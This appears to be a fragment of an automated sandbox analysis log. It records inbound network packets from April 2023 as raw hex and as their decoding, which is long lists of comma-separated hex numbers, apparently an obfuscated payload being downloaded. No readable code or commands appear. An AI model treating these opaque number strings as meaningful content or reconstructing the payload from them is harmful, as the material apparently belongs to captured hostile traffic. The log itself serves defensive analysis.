2023-04-20 23:05:29 UTC	18733	IN	Data Raw: 64 2c 61 65 2c 31 32 30 2c 66 64 2c 38 31 2c 39 30 2c 63 61 2c 31 33 31 2c 65 30 2c 35 66 2c 31 30 34 2c 62 31 2c 34 38 2c 31 32 31 2c 31 30 62 2c 37 66 2c 64 66 2c 31 30 37 2c 65 65 2c 62 34 2c 62 61 2c 64 36 2c 31 32 62 2c 35 61 2c 31 30 32 2c 36 38 2c 38 66 2c 66 64 2c 37 65 2c 31 33 61 2c 61 36 2c 39 31 2c 31 33 39 2c 39 36 2c 31 34 66 2c 66 33 2c 31 32 61 2c 37 36 2c 31 32 36 2c 31 34 38 2c 31 30 63 2c 66 34 2c 37 32 2c 66 34 2c 65 61 2c 35 63 2c 31 32 62 2c 62 65 2c 64 66 2c 31 32 34 2c 62 31 2c 64 33 2c 61 35 2c 31 34 33 2c 62 63 2c 31 34 64 2c 62 64 2c 31 34 37 2c 66 65 2c 31 30 36 2c 35 64 2c 36 33 2c 38 61 2c 31 30 66 2c 31 30 32 2c 36 38 2c 65 32 2c 31 35 33 2c 62 31 2c 66 38 2c 31 31 30 2c 63 30 2c 65 39 2c 31 32 33 2c 66 31 2c 62 36 2c 31 30 Data Ascii: d,ae,120,fd,81,90,ca,131,e0,5f,104,b1,48,121,10b,7f,df,107,ee,b4,ba,d6,12b,5a,102,68,8f,fd,7e,13a,a6,91,139,96,14f,f3,12a,76,126,148,10c,f4,72,f4,ea,5c,12b,be,df,124,b1,d3,a5,143,bc,14d,bd,147,fe,106,5d,63,8a,10f,102,68,e2,153,b1,f8,110,c0,e9,123,f1,b6,10
2023-04-20 23:05:29 UTC	18749	IN	Data Raw: 37 2c 31 35 30 2c 31 31 38 2c 31 34 36 2c 66 38 2c 31 30 34 2c 31 33 35 2c 31 34 65 2c 31 33 36 2c 31 33 38 2c 61 62 2c 64 64 2c 63 37 2c 31 33 33 2c 64 39 2c 66 35 2c 62 35 2c 31 32 64 2c 62 35 2c 38 32 2c 65 64 2c 31 32 65 2c 31 33 63 2c 31 33 35 2c 39 33 2c 61 66 2c 34 30 2c 31 32 32 2c 65 63 2c 39 66 2c 63 62 2c 31 34 30 2c 65 66 2c 31 36 61 2c 37 34 2c 31 31 31 2c 63 34 2c 38 33 2c 38 37 2c 61 65 2c 61 64 2c 31 30 39 2c 39 65 2c 65 39 2c 38 39 2c 35 66 2c 31 33 39 2c 31 31 63 2c 31 32 36 2c 63 64 2c 31 30 36 2c 63 33 2c 39 39 2c 35 39 2c 66 32 2c 31 33 65 2c 31 31 38 2c 35 31 2c 63 63 2c 31 30 38 2c 39 31 2c 65 33 2c 39 33 2c 66 35 2c 39 61 2c 66 62 2c 66 31 2c 31 33 36 2c 37 38 2c 38 64 2c 62 64 2c 36 36 2c 31 34 63 2c 63 38 2c 37 62 2c 38 66 2c 63 Data Ascii: 7,150,118,146,f8,104,135,14e,136,138,ab,dd,c7,133,d9,f5,b5,12d,b5,82,ed,12e,13c,135,93,af,40,122,ec,9f,cb,140,ef,16a,74,111,c4,83,87,ae,ad,109,9e,e9,89,5f,139,11c,126,cd,106,c3,99,59,f2,13e,118,51,cc,108,91,e3,93,f5,9a,fb,f1,136,78,8d,bd,66,14c,c8,7b,8f,c
2023-04-20 23:05:29 UTC	18765	IN	Data Raw: 2c 63 34 2c 63 32 2c 31 30 39 2c 63 65 2c 31 30 61 2c 61 33 2c 66 64 2c 65 63 2c 35 63 2c 31 34 35 2c 31 34 32 2c 31 30 39 2c 31 33 37 2c 65 32 2c 64 31 2c 31 31 31 2c 64 65 2c 31 34 30 2c 63 65 2c 31 34 39 2c 37 61 2c 61 61 2c 31 36 66 2c 31 34 35 2c 38 33 2c 31 31 63 2c 35 66 2c 31 33 33 2c 38 31 2c 31 32 64 2c 65 33 2c 31 31 31 2c 61 39 2c 38 38 2c 63 31 2c 31 33 32 2c 62 34 2c 31 35 31 2c 39 31 2c 38 30 2c 39 37 2c 31 35 30 2c 61 33 2c 31 35 30 2c 65 37 2c 63 33 2c 64 34 2c 31 33 38 2c 66 32 2c 31 34 32 2c 65 32 2c 66 63 2c 65 30 2c 66 38 2c 61 30 2c 64 36 2c 61 35 2c 31 34 33 2c 36 36 2c 63 37 2c 62 64 2c 31 33 62 2c 37 37 2c 62 34 2c 62 66 2c 31 30 63 2c 31 34 62 2c 66 38 2c 37 66 2c 37 62 2c 31 30 34 2c 31 34 38 2c 31 31 31 2c 39 34 2c 31 31 63 2c Data Ascii: ,c4,c2,109,ce,10a,a3,fd,ec,5c,145,142,109,137,e2,d1,111,de,140,ce,149,7a,aa,16f,145,83,11c,5f,133,81,12d,e3,111,a9,88,c1,132,b4,151,91,80,97,150,a3,150,e7,c3,d4,138,f2,142,e2,fc,e0,f8,a0,d6,a5,143,66,c7,bd,13b,77,b4,bf,10c,14b,f8,7f,7b,104,148,111,94,11c,
2023-04-20 23:05:29 UTC	18781	IN	Data Raw: 35 2c 31 33 30 2c 35 61 2c 34 65 2c 33 35 2c 31 33 39 2c 34 61 2c 36 64 2c 31 31 61 2c 31 35 33 2c 31 34 62 2c 31 35 39 2c 36 36 2c 37 34 2c 31 34 64 2c 31 31 39 2c 31 36 34 2c 31 31 31 2c 35 64 2c 35 61 2c 63 39 2c 36 64 2c 31 32 66 2c 38 63 2c 37 61 2c 31 35 32 2c 31 31 39 2c 66 61 2c 31 30 38 2c 31 32 39 2c 65 64 2c 39 33 2c 37 34 2c 64 39 2c 64 63 2c 31 31 66 2c 31 30 30 2c 31 30 32 2c 39 34 2c 34 37 2c 39 30 2c 31 33 63 2c 31 32 32 2c 64 62 2c 63 33 2c 61 32 2c 36 33 2c 31 32 63 2c 31 34 61 2c 31 35 30 2c 66 64 2c 66 30 2c 63 32 2c 37 32 2c 31 30 34 2c 31 32 65 2c 63 30 2c 37 61 2c 31 35 36 2c 39 65 2c 31 36 64 2c 31 32 34 2c 39 37 2c 31 30 36 2c 65 31 2c 64 65 2c 31 33 34 2c 39 34 2c 37 38 2c 31 35 33 2c 31 32 61 2c 65 65 2c 31 34 64 2c 31 30 37 2c Data Ascii: 5,130,5a,4e,35,139,4a,6d,11a,153,14b,159,66,74,14d,119,164,111,5d,5a,c9,6d,12f,8c,7a,152,119,fa,108,129,ed,93,74,d9,dc,11f,100,102,94,47,90,13c,122,db,c3,a2,63,12c,14a,150,fd,f0,c2,72,104,12e,c0,7a,156,9e,16d,124,97,106,e1,de,134,94,78,153,12a,ee,14d,107,
2023-04-20 23:05:29 UTC	18797	IN	Data Raw: 2c 65 32 2c 31 36 38 2c 65 62 2c 63 63 2c 37 32 2c 31 36 39 2c 35 65 2c 36 31 2c 64 30 2c 36 39 2c 66 39 2c 37 65 2c 35 39 2c 31 32 32 2c 61 30 2c 39 30 2c 64 33 2c 31 30 38 2c 31 32 33 2c 36 33 2c 65 37 2c 64 39 2c 31 31 36 2c 31 33 39 2c 31 30 30 2c 31 35 32 2c 31 33 66 2c 31 31 34 2c 63 36 2c 31 34 61 2c 66 35 2c 62 38 2c 31 32 61 2c 31 33 33 2c 31 31 66 2c 31 31 64 2c 66 65 2c 63 32 2c 31 30 37 2c 63 33 2c 31 33 36 2c 66 34 2c 31 32 39 2c 31 33 39 2c 66 64 2c 38 62 2c 31 30 33 2c 31 31 36 2c 31 32 39 2c 64 63 2c 65 37 2c 35 30 2c 62 33 2c 31 32 65 2c 39 61 2c 36 33 2c 61 39 2c 31 32 35 2c 31 32 63 2c 34 37 2c 31 31 36 2c 65 36 2c 64 38 2c 35 65 2c 38 63 2c 31 36 62 2c 66 32 2c 35 31 2c 63 34 2c 37 35 2c 36 64 2c 36 62 2c 61 63 2c 31 35 33 2c 64 63 2c Data Ascii: ,e2,168,eb,cc,72,169,5e,61,d0,69,f9,7e,59,122,a0,90,d3,108,123,63,e7,d9,116,139,100,152,13f,114,c6,14a,f5,b8,12a,133,11f,11d,fe,c2,107,c3,136,f4,129,139,fd,8b,103,116,129,dc,e7,50,b3,12e,9a,63,a9,125,12c,47,116,e6,d8,5e,8c,16b,f2,51,c4,75,6d,6b,ac,153,dc,
2023-04-20 23:05:29 UTC	18813	IN	Data Raw: 31 30 63 2c 65 30 2c 31 36 36 2c 64 66 2c 38 63 2c 62 36 2c 66 61 2c 31 31 33 2c 37 63 2c 37 37 2c 63 38 2c 63 64 2c 66 36 2c 31 35 34 2c 33 65 2c 31 31 35 2c 31 33 65 2c 39 65 2c 31 35 34 2c 31 30 38 2c 65 31 2c 31 34 35 2c 31 34 65 2c 38 62 2c 65 64 2c 38 62 2c 39 31 2c 35 32 2c 38 62 2c 36 35 2c 66 31 2c 39 65 2c 31 37 32 2c 31 32 32 2c 37 65 2c 35 36 2c 38 33 2c 61 38 2c 35 34 2c 62 30 2c 31 32 65 2c 31 35 31 2c 35 63 2c 36 33 2c 61 62 2c 39 61 2c 31 33 36 2c 64 35 2c 36 34 2c 31 31 39 2c 31 34 36 2c 61 35 2c 35 34 2c 66 66 2c 65 65 2c 64 61 2c 37 66 2c 62 62 2c 31 33 64 2c 61 62 2c 64 34 2c 35 63 2c 62 63 2c 61 36 2c 31 33 33 2c 31 35 32 2c 63 65 2c 33 65 2c 65 39 2c 61 33 2c 31 30 31 2c 64 34 2c 31 34 64 2c 38 30 2c 31 35 34 2c 35 62 2c 63 61 2c 62 Data Ascii: 10c,e0,166,df,8c,b6,fa,113,7c,77,c8,cd,f6,154,3e,115,13e,9e,154,108,e1,145,14e,8b,ed,8b,91,52,8b,65,f1,9e,172,122,7e,56,83,a8,54,b0,12e,151,5c,63,ab,9a,136,d5,64,119,146,a5,54,ff,ee,da,7f,bb,13d,ab,d4,5c,bc,a6,133,152,ce,3e,e9,a3,101,d4,14d,80,154,5b,ca,b
2023-04-20 23:05:29 UTC	18829	IN	Data Raw: 2c 36 34 2c 39 65 2c 65 36 2c 63 37 2c 31 32 32 2c 65 63 2c 31 33 61 2c 38 65 2c 31 32 38 2c 63 39 2c 31 30 61 2c 38 37 2c 65 66 2c 31 33 61 2c 31 36 62 2c 62 36 2c 31 35 31 2c 63 36 2c 31 30 63 2c 31 33 38 2c 31 30 37 2c 31 30 62 2c 31 34 39 2c 39 34 2c 31 33 64 2c 62 63 2c 62 64 2c 31 30 31 2c 34 36 2c 66 37 2c 66 64 2c 37 36 2c 31 32 65 2c 39 38 2c 36 34 2c 37 30 2c 31 31 35 2c 35 64 2c 37 63 2c 61 38 2c 61 30 2c 61 32 2c 61 66 2c 64 36 2c 31 31 66 2c 62 37 2c 38 36 2c 63 32 2c 31 35 34 2c 31 33 61 2c 65 32 2c 39 63 2c 35 36 2c 63 35 2c 64 38 2c 38 32 2c 39 34 2c 33 38 2c 31 33 63 2c 66 64 2c 31 30 31 2c 38 34 2c 61 63 2c 31 31 66 2c 36 62 2c 35 33 2c 61 38 2c 39 61 2c 31 32 32 2c 36 62 2c 31 30 35 2c 31 30 65 2c 31 34 37 2c 64 37 2c 34 32 2c 31 34 65 Data Ascii: ,64,9e,e6,c7,122,ec,13a,8e,128,c9,10a,87,ef,13a,16b,b6,151,c6,10c,138,107,10b,149,94,13d,bc,bd,101,46,f7,fd,76,12e,98,64,70,115,5d,7c,a8,a0,a2,af,d6,11f,b7,86,c2,154,13a,e2,9c,56,c5,d8,82,94,38,13c,fd,101,84,ac,11f,6b,53,a8,9a,122,6b,105,10e,147,d7,42,14e
2023-04-20 23:05:29 UTC	18845	IN	Data Raw: 36 31 2c 31 33 64 2c 37 39 2c 37 35 2c 38 36 2c 36 63 2c 39 37 2c 66 33 2c 35 36 2c 65 39 2c 62 61 2c 35 62 2c 31 30 30 2c 64 38 2c 35 32 2c 39 30 2c 38 61 2c 63 63 2c 64 37 2c 31 36 35 2c 38 37 2c 31 34 36 2c 37 34 2c 66 64 2c 31 34 64 2c 64 30 2c 31 34 34 2c 35 61 2c 31 32 63 2c 63 64 2c 36 33 2c 61 61 2c 31 34 62 2c 66 63 2c 31 33 34 2c 63 64 2c 31 34 34 2c 66 33 2c 36 30 2c 63 30 2c 66 63 2c 63 63 2c 31 33 63 2c 61 62 2c 35 31 2c 62 66 2c 31 30 31 2c 31 33 36 2c 38 65 2c 36 37 2c 64 39 2c 31 33 39 2c 31 31 36 2c 65 61 2c 31 32 36 2c 62 66 2c 65 63 2c 37 62 2c 65 62 2c 35 39 2c 31 30 64 2c 61 65 2c 37 33 2c 31 32 63 2c 31 34 39 2c 61 34 2c 31 32 65 2c 33 63 2c 38 64 2c 39 39 2c 61 32 2c 35 39 2c 31 34 62 2c 63 38 2c 66 61 2c 62 31 2c 33 34 2c 36 66 2c Data Ascii: 61,13d,79,75,86,6c,97,f3,56,e9,ba,5b,100,d8,52,90,8a,cc,d7,165,87,146,74,fd,14d,d0,144,5a,12c,cd,63,aa,14b,fc,134,cd,144,f3,60,c0,fc,cc,13c,ab,51,bf,101,136,8e,67,d9,139,116,ea,126,bf,ec,7b,eb,59,10d,ae,73,12c,149,a4,12e,3c,8d,99,a2,59,14b,c8,fa,b1,34,6f,
2023-04-20 23:05:30 UTC	18861	IN	Data Raw: 65 2c 66 31 2c 31 30 63 2c 31 31 61 2c 63 37 2c 62 35 2c 62 62 2c 31 35 34 2c 31 36 34 2c 66 31 2c 62 62 2c 36 63 2c 31 30 61 2c 31 32 39 2c 35 35 2c 31 30 37 2c 31 32 39 2c 31 33 66 2c 39 37 2c 38 30 2c 63 34 2c 37 33 2c 37 39 2c 36 38 2c 66 39 2c 37 37 2c 64 66 2c 66 63 2c 64 66 2c 31 35 36 2c 31 34 34 2c 31 33 35 2c 39 38 2c 38 30 2c 63 61 2c 35 65 2c 65 31 2c 31 31 63 2c 31 30 30 2c 36 61 2c 66 35 2c 64 32 2c 66 64 2c 31 30 35 2c 66 39 2c 63 65 2c 37 63 2c 38 30 2c 65 37 2c 37 64 2c 62 37 2c 31 32 66 2c 33 65 2c 36 35 2c 66 31 2c 63 39 2c 31 33 38 2c 31 34 39 2c 31 31 36 2c 39 30 2c 31 33 38 2c 39 35 2c 62 34 2c 64 63 2c 35 64 2c 37 30 2c 61 32 2c 61 30 2c 61 36 2c 35 64 2c 63 32 2c 62 36 2c 31 32 62 2c 37 36 2c 31 34 66 2c 39 39 2c 34 31 2c 31 30 39 Data Ascii: e,f1,10c,11a,c7,b5,bb,154,164,f1,bb,6c,10a,129,55,107,129,13f,97,80,c4,73,79,68,f9,77,df,fc,df,156,144,135,98,80,ca,5e,e1,11c,100,6a,f5,d2,fd,105,f9,ce,7c,80,e7,7d,b7,12f,3e,65,f1,c9,138,149,116,90,138,95,b4,dc,5d,70,a2,a0,a6,5d,c2,b6,12b,76,14f,99,41,109
2023-04-20 23:05:30 UTC	18877	IN	Data Raw: 36 2c 31 32 62 2c 31 33 37 2c 64 32 2c 66 36 2c 31 34 66 2c 63 31 2c 35 64 2c 31 33 34 2c 31 33 32 2c 31 35 33 2c 31 33 37 2c 31 31 66 2c 31 34 64 2c 31 33 65 2c 39 34 2c 31 31 39 2c 31 34 61 2c 65 64 2c 35 39 2c 33 33 2c 31 33 64 2c 65 66 2c 39 63 2c 31 36 36 2c 61 61 2c 31 31 66 2c 33 64 2c 39 33 2c 31 35 34 2c 64 66 2c 38 30 2c 38 34 2c 65 61 2c 31 35 31 2c 63 31 2c 31 31 35 2c 31 30 39 2c 62 61 2c 61 33 2c 31 33 61 2c 31 34 64 2c 31 35 62 2c 38 66 2c 63 35 2c 35 33 2c 31 31 66 2c 31 31 66 2c 31 36 63 2c 66 35 2c 36 39 2c 37 33 2c 31 32 32 2c 31 34 34 2c 61 39 2c 39 33 2c 31 34 62 2c 65 63 2c 31 34 30 2c 34 62 2c 31 34 34 2c 31 35 33 2c 38 33 2c 35 61 2c 62 35 2c 31 32 65 2c 64 30 2c 61 62 2c 35 35 2c 31 36 37 2c 35 65 2c 36 34 2c 31 34 32 2c 36 36 2c Data Ascii: 6,12b,137,d2,f6,14f,c1,5d,134,132,153,137,11f,14d,13e,94,119,14a,ed,59,33,13d,ef,9c,166,aa,11f,3d,93,154,df,80,84,ea,151,c1,115,109,ba,a3,13a,14d,15b,8f,c5,53,11f,11f,16c,f5,69,73,122,144,a9,93,14b,ec,140,4b,144,153,83,5a,b5,12e,d0,ab,55,167,5e,64,142,66,
2023-04-20 23:05:30 UTC	18893	IN	Data Raw: 64 36 2c 63 32 2c 35 33 2c 66 63 2c 31 32 30 2c 34 38 2c 66 35 2c 35 65 2c 66 38 2c 37 39 2c 31 33 30 2c 61 30 2c 39 36 2c 31 34 31 2c 39 34 2c 31 35 64 2c 65 35 2c 65 35 2c 39 32 2c 31 31 37 2c 35 63 2c 31 31 31 2c 31 31 33 2c 31 35 61 2c 37 63 2c 31 31 34 2c 65 63 2c 66 63 2c 65 39 2c 64 34 2c 35 61 2c 61 63 2c 31 31 64 2c 31 31 38 2c 35 61 2c 64 33 2c 31 30 31 2c 63 31 2c 31 30 61 2c 31 34 33 2c 31 33 36 2c 64 37 2c 31 31 39 2c 31 31 36 2c 36 61 2c 64 34 2c 31 34 63 2c 31 36 61 2c 31 34 32 2c 31 30 39 2c 63 32 2c 36 30 2c 36 36 2c 37 31 2c 31 31 37 2c 31 32 39 2c 36 39 2c 31 36 38 2c 34 36 2c 31 31 32 2c 66 33 2c 66 38 2c 36 38 2c 62 37 2c 37 36 2c 65 66 2c 65 62 2c 34 64 2c 64 65 2c 61 37 2c 36 34 2c 65 33 2c 36 36 2c 64 35 2c 31 31 39 2c 61 61 2c 37 Data Ascii: d6,c2,53,fc,120,48,f5,5e,f8,79,130,a0,96,141,94,15d,e5,e5,92,117,5c,111,113,15a,7c,114,ec,fc,e9,d4,5a,ac,11d,118,5a,d3,101,c1,10a,143,136,d7,119,116,6a,d4,14c,16a,142,109,c2,60,66,71,117,129,69,168,46,112,f3,f8,68,b7,76,ef,eb,4d,de,a7,64,e3,66,d5,119,aa,7
2023-04-20 23:05:30 UTC	18909	IN	Data Raw: 34 33 2c 31 30 31 2c 31 34 34 2c 61 33 2c 31 37 31 2c 31 35 61 2c 35 32 2c 31 30 35 2c 31 33 30 2c 62 64 2c 31 32 61 2c 38 30 2c 66 65 2c 31 34 66 2c 31 33 32 2c 31 34 36 2c 31 34 33 2c 63 63 2c 65 35 2c 38 66 2c 63 65 2c 37 37 2c 66 31 2c 31 33 34 2c 31 37 36 2c 65 39 2c 31 31 31 2c 37 37 2c 34 30 2c 36 34 2c 31 32 30 2c 63 35 2c 37 64 2c 37 61 2c 31 34 35 2c 39 35 2c 31 36 61 2c 31 34 63 2c 35 66 2c 61 62 2c 35 33 2c 39 35 2c 31 32 61 2c 36 31 2c 31 32 37 2c 31 34 36 2c 63 32 2c 36 34 2c 31 33 30 2c 37 65 2c 31 32 66 2c 31 31 39 2c 31 33 32 2c 37 32 2c 38 64 2c 62 34 2c 31 34 34 2c 31 35 34 2c 31 33 35 2c 31 30 34 2c 65 36 2c 31 32 63 2c 31 32 66 2c 39 35 2c 31 32 34 2c 39 30 2c 38 65 2c 31 31 64 2c 31 33 62 2c 66 33 2c 31 32 39 2c 31 32 31 2c 31 32 64 Data Ascii: 43,101,144,a3,171,15a,52,105,130,bd,12a,80,fe,14f,132,146,143,cc,e5,8f,ce,77,f1,134,176,e9,111,77,40,64,120,c5,7d,7a,145,95,16a,14c,5f,ab,53,95,12a,61,127,146,c2,64,130,7e,12f,119,132,72,8d,b4,144,154,135,104,e6,12c,12f,95,124,90,8e,11d,13b,f3,129,121,12d
2023-04-20 23:05:30 UTC	18925	IN	Data Raw: 2c 64 65 2c 65 62 2c 31 32 38 2c 35 61 2c 31 30 63 2c 62 65 2c 36 32 2c 34 39 2c 62 35 2c 36 66 2c 39 66 2c 34 63 2c 37 61 2c 62 65 2c 37 32 2c 31 31 37 2c 31 31 37 2c 31 31 34 2c 37 66 2c 66 62 2c 65 33 2c 31 34 32 2c 39 33 2c 36 31 2c 62 64 2c 37 63 2c 61 38 2c 63 34 2c 31 36 63 2c 36 39 2c 38 34 2c 62 38 2c 31 35 34 2c 64 31 2c 66 39 2c 38 34 2c 37 62 2c 31 35 37 2c 31 33 31 2c 36 31 2c 31 31 38 2c 61 65 2c 31 32 36 2c 36 34 2c 31 34 38 2c 36 36 2c 37 64 2c 37 38 2c 31 30 62 2c 62 31 2c 62 37 2c 63 61 2c 31 37 32 2c 31 32 66 2c 36 31 2c 62 31 2c 31 30 64 2c 31 33 32 2c 36 38 2c 66 34 2c 31 33 31 2c 36 61 2c 66 38 2c 62 33 2c 39 35 2c 37 35 2c 31 31 61 2c 31 32 35 2c 31 30 63 2c 31 35 65 2c 63 65 2c 63 35 2c 61 36 2c 31 33 36 2c 37 65 2c 36 35 2c 31 33 Data Ascii: ,de,eb,128,5a,10c,be,62,49,b5,6f,9f,4c,7a,be,72,117,117,114,7f,fb,e3,142,93,61,bd,7c,a8,c4,16c,69,84,b8,154,d1,f9,84,7b,157,131,61,118,ae,126,64,148,66,7d,78,10b,b1,b7,ca,172,12f,61,b1,10d,132,68,f4,131,6a,f8,b3,95,75,11a,125,10c,15e,ce,c5,a6,136,7e,65,13
2023-04-20 23:05:30 UTC	18941	IN	Data Raw: 31 32 30 2c 38 34 2c 39 61 2c 63 33 2c 31 34 62 2c 62 37 2c 31 35 61 2c 31 32 36 2c 37 63 2c 61 66 2c 63 64 2c 66 31 2c 31 31 36 2c 61 66 2c 31 33 63 2c 38 38 2c 33 62 2c 31 34 34 2c 36 63 2c 31 33 61 2c 31 30 62 2c 36 36 2c 31 33 36 2c 61 35 2c 66 31 2c 31 33 38 2c 35 39 2c 31 34 66 2c 63 36 2c 38 32 2c 66 34 2c 39 61 2c 31 31 62 2c 37 64 2c 31 30 30 2c 38 62 2c 63 65 2c 38 32 2c 64 62 2c 62 39 2c 66 36 2c 65 62 2c 64 63 2c 38 62 2c 31 33 66 2c 38 66 2c 63 64 2c 37 66 2c 33 38 2c 64 66 2c 31 33 31 2c 37 35 2c 31 32 33 2c 31 34 38 2c 31 30 35 2c 31 34 39 2c 38 32 2c 31 33 61 2c 35 66 2c 63 64 2c 65 36 2c 66 63 2c 38 35 2c 36 66 2c 39 34 2c 63 63 2c 35 66 2c 31 33 63 2c 31 32 61 2c 31 30 61 2c 31 35 35 2c 31 30 32 2c 31 33 62 2c 36 62 2c 66 34 2c 31 33 37 Data Ascii: 120,84,9a,c3,14b,b7,15a,126,7c,af,cd,f1,116,af,13c,88,3b,144,6c,13a,10b,66,136,a5,f1,138,59,14f,c6,82,f4,9a,11b,7d,100,8b,ce,82,db,b9,f6,eb,dc,8b,13f,8f,cd,7f,38,df,131,75,123,148,105,149,82,13a,5f,cd,e6,fc,85,6f,94,cc,5f,13c,12a,10a,155,102,13b,6b,f4,137
2023-04-20 23:05:30 UTC	18957	IN	Data Raw: 31 2c 38 30 2c 31 31 38 2c 65 66 2c 31 35 33 2c 65 62 2c 38 34 2c 62 61 2c 37 63 2c 66 36 2c 31 31 62 2c 65 61 2c 39 31 2c 61 65 2c 34 66 2c 31 33 32 2c 61 61 2c 31 31 30 2c 31 34 36 2c 31 33 30 2c 35 65 2c 65 37 2c 37 35 2c 31 34 30 2c 64 33 2c 31 30 32 2c 31 31 64 2c 61 38 2c 36 36 2c 61 64 2c 65 32 2c 39 38 2c 31 34 62 2c 62 37 2c 37 38 2c 31 33 35 2c 39 36 2c 31 34 65 2c 35 35 2c 38 39 2c 66 63 2c 31 35 65 2c 65 35 2c 61 66 2c 62 64 2c 31 32 30 2c 31 30 30 2c 64 36 2c 37 66 2c 66 65 2c 31 34 66 2c 65 32 2c 66 38 2c 61 33 2c 31 35 34 2c 66 61 2c 63 35 2c 31 31 33 2c 31 32 33 2c 62 33 2c 36 35 2c 31 32 32 2c 37 36 2c 63 64 2c 61 32 2c 66 38 2c 64 64 2c 64 30 2c 38 30 2c 36 63 2c 62 62 2c 62 35 2c 31 31 36 2c 63 34 2c 65 63 2c 35 62 2c 39 30 2c 63 64 2c Data Ascii: 1,80,118,ef,153,eb,84,ba,7c,f6,11b,ea,91,ae,4f,132,aa,110,146,130,5e,e7,75,140,d3,102,11d,a8,66,ad,e2,98,14b,b7,78,135,96,14e,55,89,fc,15e,e5,af,bd,120,100,d6,7f,fe,14f,e2,f8,a3,154,fa,c5,113,123,b3,65,122,76,cd,a2,f8,dd,d0,80,6c,bb,b5,116,c4,ec,5b,90,cd,
2023-04-20 23:05:30 UTC	18973	IN	Data Raw: 2c 61 36 2c 36 63 2c 39 66 2c 39 30 2c 31 31 35 2c 31 31 35 2c 31 32 36 2c 37 35 2c 65 64 2c 66 30 2c 31 30 31 2c 36 32 2c 31 33 65 2c 31 32 64 2c 61 66 2c 37 37 2c 35 66 2c 35 62 2c 64 61 2c 64 65 2c 31 32 35 2c 31 34 61 2c 63 64 2c 35 39 2c 63 65 2c 36 31 2c 64 38 2c 31 30 66 2c 64 61 2c 39 32 2c 62 34 2c 38 34 2c 31 33 64 2c 31 32 62 2c 31 30 31 2c 61 63 2c 64 63 2c 31 33 36 2c 31 34 66 2c 65 62 2c 39 37 2c 65 64 2c 64 64 2c 64 64 2c 31 35 34 2c 31 33 36 2c 39 36 2c 63 36 2c 31 31 65 2c 65 64 2c 31 32 39 2c 64 33 2c 63 39 2c 31 33 65 2c 37 64 2c 37 61 2c 37 36 2c 36 36 2c 64 38 2c 31 31 33 2c 65 39 2c 31 30 30 2c 37 62 2c 34 65 2c 31 30 34 2c 31 33 33 2c 31 32 61 2c 31 32 30 2c 31 32 64 2c 66 61 2c 31 32 32 2c 63 62 2c 31 32 64 2c 64 65 2c 64 63 2c 65 Data Ascii: ,a6,6c,9f,90,115,115,126,75,ed,f0,101,62,13e,12d,af,77,5f,5b,da,de,125,14a,cd,59,ce,61,d8,10f,da,92,b4,84,13d,12b,101,ac,dc,136,14f,eb,97,ed,dd,dd,154,136,96,c6,11e,ed,129,d3,c9,13e,7d,7a,76,66,d8,113,e9,100,7b,4e,104,133,12a,120,12d,fa,122,cb,12d,de,dc,e
2023-04-20 23:05:30 UTC	18989	IN	Data Raw: 2c 35 31 2c 37 63 2c 39 32 2c 36 61 2c 38 66 2c 34 36 2c 31 33 61 2c 36 39 2c 63 34 2c 35 39 2c 31 32 64 2c 38 34 2c 37 32 2c 36 33 2c 66 35 2c 31 31 32 2c 31 32 30 2c 61 66 2c 36 39 2c 31 30 32 2c 31 32 65 2c 36 64 2c 31 31 38 2c 65 65 2c 31 33 39 2c 38 63 2c 31 30 62 2c 31 34 31 2c 66 61 2c 39 62 2c 31 32 30 2c 61 61 2c 39 64 2c 37 35 2c 31 31 64 2c 64 34 2c 31 36 38 2c 66 36 2c 31 35 66 2c 31 30 39 2c 35 34 2c 37 61 2c 63 31 2c 39 38 2c 31 32 61 2c 35 64 2c 31 31 38 2c 31 35 36 2c 63 61 2c 31 32 34 2c 31 33 61 2c 31 33 64 2c 31 33 65 2c 38 30 2c 65 35 2c 31 33 65 2c 31 34 30 2c 31 30 34 2c 31 34 35 2c 31 31 36 2c 31 32 35 2c 31 30 31 2c 66 34 2c 65 38 2c 61 36 2c 31 33 65 2c 37 63 2c 64 39 2c 62 66 2c 31 30 34 2c 31 35 61 2c 31 33 36 2c 66 38 2c 35 61 Data Ascii: ,51,7c,92,6a,8f,46,13a,69,c4,59,12d,84,72,63,f5,112,120,af,69,102,12e,6d,118,ee,139,8c,10b,141,fa,9b,120,aa,9d,75,11d,d4,168,f6,15f,109,54,7a,c1,98,12a,5d,118,156,ca,124,13a,13d,13e,80,e5,13e,140,104,145,116,125,101,f4,e8,a6,13e,7c,d9,bf,104,15a,136,f8,5a
2023-04-20 23:05:30 UTC	19005	IN	Data Raw: 2c 63 31 2c 65 61 2c 35 61 2c 37 38 2c 35 39 2c 37 66 2c 31 32 61 2c 31 30 37 2c 38 37 2c 31 34 61 2c 31 30 32 2c 63 64 2c 61 65 2c 38 66 2c 62 33 2c 65 64 2c 31 33 39 2c 36 62 2c 37 37 2c 31 35 33 2c 34 61 2c 36 36 2c 38 31 2c 65 31 2c 64 35 2c 31 34 32 2c 31 33 64 2c 38 35 2c 31 35 30 2c 64 32 2c 63 33 2c 63 31 2c 39 34 2c 31 34 31 2c 31 30 61 2c 31 33 35 2c 66 38 2c 66 36 2c 62 35 2c 62 31 2c 31 31 63 2c 31 37 35 2c 36 61 2c 31 31 61 2c 31 31 35 2c 39 33 2c 38 65 2c 62 34 2c 35 61 2c 31 32 32 2c 31 30 35 2c 31 33 31 2c 31 32 31 2c 39 61 2c 39 66 2c 34 65 2c 62 35 2c 31 30 63 2c 31 34 65 2c 64 61 2c 31 31 31 2c 66 65 2c 65 37 2c 64 30 2c 39 34 2c 61 34 2c 65 36 2c 31 33 35 2c 39 34 2c 38 30 2c 37 39 2c 36 61 2c 37 63 2c 62 31 2c 36 62 2c 31 34 63 2c 64 Data Ascii: ,c1,ea,5a,78,59,7f,12a,107,87,14a,102,cd,ae,8f,b3,ed,139,6b,77,153,4a,66,81,e1,d5,142,13d,85,150,d2,c3,c1,94,141,10a,135,f8,f6,b5,b1,11c,175,6a,11a,115,93,8e,b4,5a,122,105,131,121,9a,9f,4e,b5,10c,14e,da,111,fe,e7,d0,94,a4,e6,135,94,80,79,6a,7c,b1,6b,14c,d
